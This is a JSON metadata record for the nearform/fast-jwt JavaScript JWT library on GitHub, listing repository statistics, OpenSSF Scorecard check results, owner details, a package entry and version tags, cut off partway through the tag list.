{"id":373074,"url":"https://github.com/nearform/fast-jwt","last_synced_at":"2026-08-26T09:02:37.200Z","repository":{"id":37406481,"uuid":"234146172","full_name":"nearform/fast-jwt","owner":"nearform","description":"Fast JSON Web Token implementation","archived":false,"fork":false,"pushed_at":"2026-08-04T08:56:25.000Z","size":1138,"stargazers_count":436,"open_issues_count":0,"forks_count":47,"subscribers_count":78,"default_branch":"master","last_synced_at":"2026-08-13T02:40:50.014Z","etag":null,"topics":["hacktoberfest","jwt","jwt-token"],"latest_commit_sha":null,"homepage":"https://nearform.github.io/fast-jwt/","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/nearform.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.md","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2020-01-15T18:31:08.000Z","updated_at":"2026-08-06T01:34:21.000Z","dependencies_parsed_at":"2023-11-07T17:47:49.424Z","dependency_job_id":"595711db-b0a3-4b8b-8776-0f01e1f30c70","html_url":"https://github.com/nearform/fast-jwt","commit_stats":{"total_commits":273,"total_committers":42,"mean_commits":6.5,"dds":0.7582417582417582,"last_synced_commit":"42becd7ba580530e2c5d28405ead21fdf695e1c1"},"previous_names":[],"tags_count":54,"template":false,"template_full_name":null,"purl":"pkg:github/nearform/fast-jwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nearform","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/sbom","scorecard":{"id":678027,"data":{"date":"2025-08-11","repo":{"name":"github.com/nearform/fast-jwt","commit":"b9c7bc3cfb54a007476f365b6250c20efb566231"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Maintained","score":5,"reason":"5 commit(s) and 1 issue activity found in the last 90 days -- score normalized to 5","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":8,"reason":"Found 15/18 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: third-party GitHubAction not pinned by hash: .github/workflows/check-linked-issues.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/nearform/fast-jwt/check-linked-issues.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:9: update your workflow using https://app.stepsecurity.io/secureworkflow/nearform/fast-jwt/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/nearform/fast-jwt/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/notify-release.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/nearform/fast-jwt/notify-release.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/nearform/fast-jwt/release.yml/master?enable=pin","Info:   0 out of   5 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'issues' permission set to 'read': .github/workflows/check-linked-issues.yml:19","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/ci.yml:18","Info: jobLevel 'contents' permission set to 'read': .github/workflows/notify-release.yml:17","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/release.yml:20","Warn: no topLevel permission defined: .github/workflows/check-linked-issues.yml:1","Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Warn: no topLevel permission defined: .github/workflows/notify-release.yml:1","Warn: no topLevel permission defined: .github/workflows/release.yml:1"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":9,"reason":"license file detected","details":["Info: project has a license file: LICENSE.md:0","Warn: project license file does not contain an FSF or OSI license."],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-21T22:10:21.073Z","repository_id":37406481,"created_at":"2025-08-21T22:10:21.073Z","updated_at":"2025-08-21T22:10:21.073Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36629794,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-14T02:00:06.934Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"owner":{"login":"nearform","name":"Nearform","uuid":"1544687","kind":"organization","description":"","email":"hello@nearform.com","website":"http://www.nearform.com/","location":"Ireland","twitter":"Nearform","company":null,"icon_url":"https://avatars.githubusercontent.com/u/1544687?v=4","repositories_count":349,"last_synced_at":"2025-03-26T17:46:14.180Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/nearform","funding_links":[],"total_stars":6383,"followers":272,"following":0,"created_at":"2022-11-04T05:01:19.877Z","updated_at":"2025-03-26T17:46:14.180Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nearform","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nearform/repositories"},"packages":[{"id":10555307,"name":"github.com/nearform/fast-jwt","ecosystem":"go","description":null,"homepage":null,"licenses":"other","normalized_licenses":["Other"],"repository_url":"https://github.com/nearform/fast-jwt","keywords_array":[],"namespace":null,"versions_count":69,"first_release_published_at":"2020-06-23T09:12:56.000Z","latest_release_published_at":"2026-08-04T08:55:54.000Z","latest_release_number":"v6.3.2+incompatible","last_synced_at":"2026-08-25T08:38:45.335Z","created_at":"2024-07-05T04:45:55.515Z","updated_at":"2026-08-25T08:38:45.335Z","registry_url":"https://pkg.go.dev/github.com/nearform/fast-jwt","install_command":"go get github.com/nearform/fast-jwt","documentation_url":"https://pkg.go.dev/github.com/nearform/fast-jwt#section-documentation","metadata":{},"repo_metadata":{"id":37406481,"uuid":"234146172","full_name":"nearform/fast-jwt","owner":"nearform","description":"Fast JSON Web Token implementation","archived":false,"fork":false,"pushed_at":"2026-08-04T08:56:25.000Z","size":1138,"stargazers_count":435,"open_issues_count":0,"forks_count":47,"subscribers_count":78,"default_branch":"master","last_synced_at":"2026-08-06T00:56:02.986Z","etag":null,"topics":["hacktoberfest","jwt","jwt-token"],"latest_commit_sha":null,"homepage":"https://nearform.github.io/fast-jwt/","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/nearform.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.md","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2020-01-15T18:31:08.000Z","updated_at":"2026-08-04T08:57:18.000Z","dependencies_parsed_at":"2023-11-07T17:47:49.424Z","dependency_job_id":"595711db-b0a3-4b8b-8776-0f01e1f30c70","html_url":"https://github.com/nearform/fast-jwt","commit_stats":{"total_commits":273,"total_committers":42,"mean_commits":6.5,"dds":0.7582417582417582,"last_synced_commit":"42becd7ba580530e2c5d28405ead21fdf695e1c1"},"previous_names":[],"tags_count":54,"template":false,"template_full_name":null,"purl":"pkg:github/nearform/fast-jwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nearform","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/sbom","scorecard":{"id":678027,"data":{"date":"2025-08-11","repo":{"name":"github.com/nearform/fast-jwt","commit":"b9c7bc3cfb54a007476f365b6250c20efb566231"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Maintained","score":5,"reason":"5 commit(s) and 1 issue activity found in the last 90 days -- score normalized to 5","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":8,"reason":"Found 15/18 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: third-party GitHubAction not pinned by hash: .github/workflows/check-linked-issues.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/nearform/fast-jwt/check-linked-issues.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:9: update your workflow using https://app.stepsecurity.io/secureworkflow/nearform/fast-jwt/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/nearform/fast-jwt/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/notify-release.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/nearform/fast-jwt/notify-release.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/nearform/fast-jwt/release.yml/master?enable=pin","Info:   0 out of   5 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'issues' permission set to 'read': .github/workflows/check-linked-issues.yml:19","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/ci.yml:18","Info: jobLevel 'contents' permission set to 'read': .github/workflows/notify-release.yml:17","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/release.yml:20","Warn: no topLevel permission defined: .github/workflows/check-linked-issues.yml:1","Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Warn: no topLevel permission defined: .github/workflows/notify-release.yml:1","Warn: no topLevel permission defined: .github/workflows/release.yml:1"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":9,"reason":"license file detected","details":["Info: project has a license file: LICENSE.md:0","Warn: project license file does not contain an FSF or OSI license."],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-21T22:10:21.073Z","repository_id":37406481,"created_at":"2025-08-21T22:10:21.073Z","updated_at":"2025-08-21T22:10:21.073Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36328619,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"ssl_error","status_checked_at":"2026-08-06T04:43:02.660Z","response_time":54,"last_error":"SSL_read: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"nearform","name":"Nearform","uuid":"1544687","kind":"organization","description":"","email":"hello@nearform.com","website":"http://www.nearform.com/","location":"Ireland","twitter":"Nearform","company":null,"icon_url":"https://avatars.githubusercontent.com/u/1544687?v=4","repositories_count":349,"last_synced_at":"2025-03-26T17:46:14.180Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/nearform","funding_links":[],"total_stars":6383,"followers":272,"following":0,"created_at":"2022-11-04T05:01:19.877Z","updated_at":"2025-03-26T17:46:14.180Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nearform","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nearform/repositories"},"tags":[{"name":"v5.0.1","sha":"9a08fa8bfdc4358563e62064390ce94921a41127","kind":"commit","published_at":"2024-12-11T16:56:12.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v5.0.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v5.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v5.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v5.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v5.0.1/manifests"},{"name":"v5.0.0","sha":"72f91b547f5dca90715a70ff3cbaa042e40d8803","kind":"commit","published_at":"2024-11-20T21:13:12.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v5.0.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v5.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v5.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v5.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v5.0.0/manifests"},{"name":"v4.0.6","sha":"eb27dc07d60c077bbe47f478d00ef4da3e046962","kind":"commit","published_at":"2024-11-20T10:38:50.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v4.0.6","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v4.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v4.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v4.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v4.0.6/manifests"},{"name":"v4.0.5","sha":"1d2902583d536e1e507330d00482e6ac5164e7d6","kind":"commit","published_at":"2024-09-09T14:17:52.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v4.0.5","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v4.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v4.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v4.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v4.0.5/manifests"},{"name":"v4.0.3","sha":"fac1b22af603823f3e02bf770015909d2f62aaf3","kind":"commit","published_at":"2024-08-27T23:17:49.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v4.0.3","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v4.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v4.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v4.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v4.0.3/manifests"},{"name":"v4.0.2","sha":"fdb11d71e0cd41732218c4ad6c5140a6d14cc6ae","kind":"commit","published_at":"2024-07-15T10:56:50.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v4.0.2","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v4.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v4.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v4.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v4.0.2/manifests"},{"name":"v4.0.1","sha":"f284e209b4891419da761e72e1dc90b5305f7fc9","kind":"commit","published_at":"2024-04-27T16:21:31.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v4.0.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v4.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v4.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v4.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v4.0.1/manifests"},{"name":"v4.0.0","sha":"8384c8107c44546dc47aff16be9386cf9d305daf","kind":"commit","published_at":"2024-02-15T23:07:32.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v4.0.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v4.0.0/manifests"},{"name":"v3.3.3","sha":"6e5bf0081899703f8006ac75fc11cca5d2d84b67","kind":"commit","published_at":"2024-01-29T10:58:38.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v3.3.3","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v3.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v3.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.3.3/manifests"},{"name":"v3.3.2","sha":"6604166db410371590af56ade555a97f77484995","kind":"commit","published_at":"2023-11-20T14:30:16.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v3.3.2","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v3.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v3.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.3.2/manifests"},{"name":"v3.3.1","sha":"d5ac9f2ca79bf11576bdf95d89edb85bd91d1a0c","kind":"commit","published_at":"2023-10-05T09:31:54.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v3.3.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.3.1/manifests"},{"name":"v3.3.0","sha":"ae98d8132b451523ff4a0e7dfab3f105197a9fd8","kind":"commit","published_at":"2023-09-21T11:10:41.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v3.3.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.3.0/manifests"},{"name":"v3.2.0","sha":"6a044bb402d36cabc6a53ccef03db81e7aab43da","kind":"commit","published_at":"2023-08-18T10:49:22.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v3.2.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.2.0/manifests"},{"name":"v3.1.1","sha":"b01a15c995bff6608878a535e88452f92c76e126","kind":"commit","published_at":"2023-06-08T15:41:17.0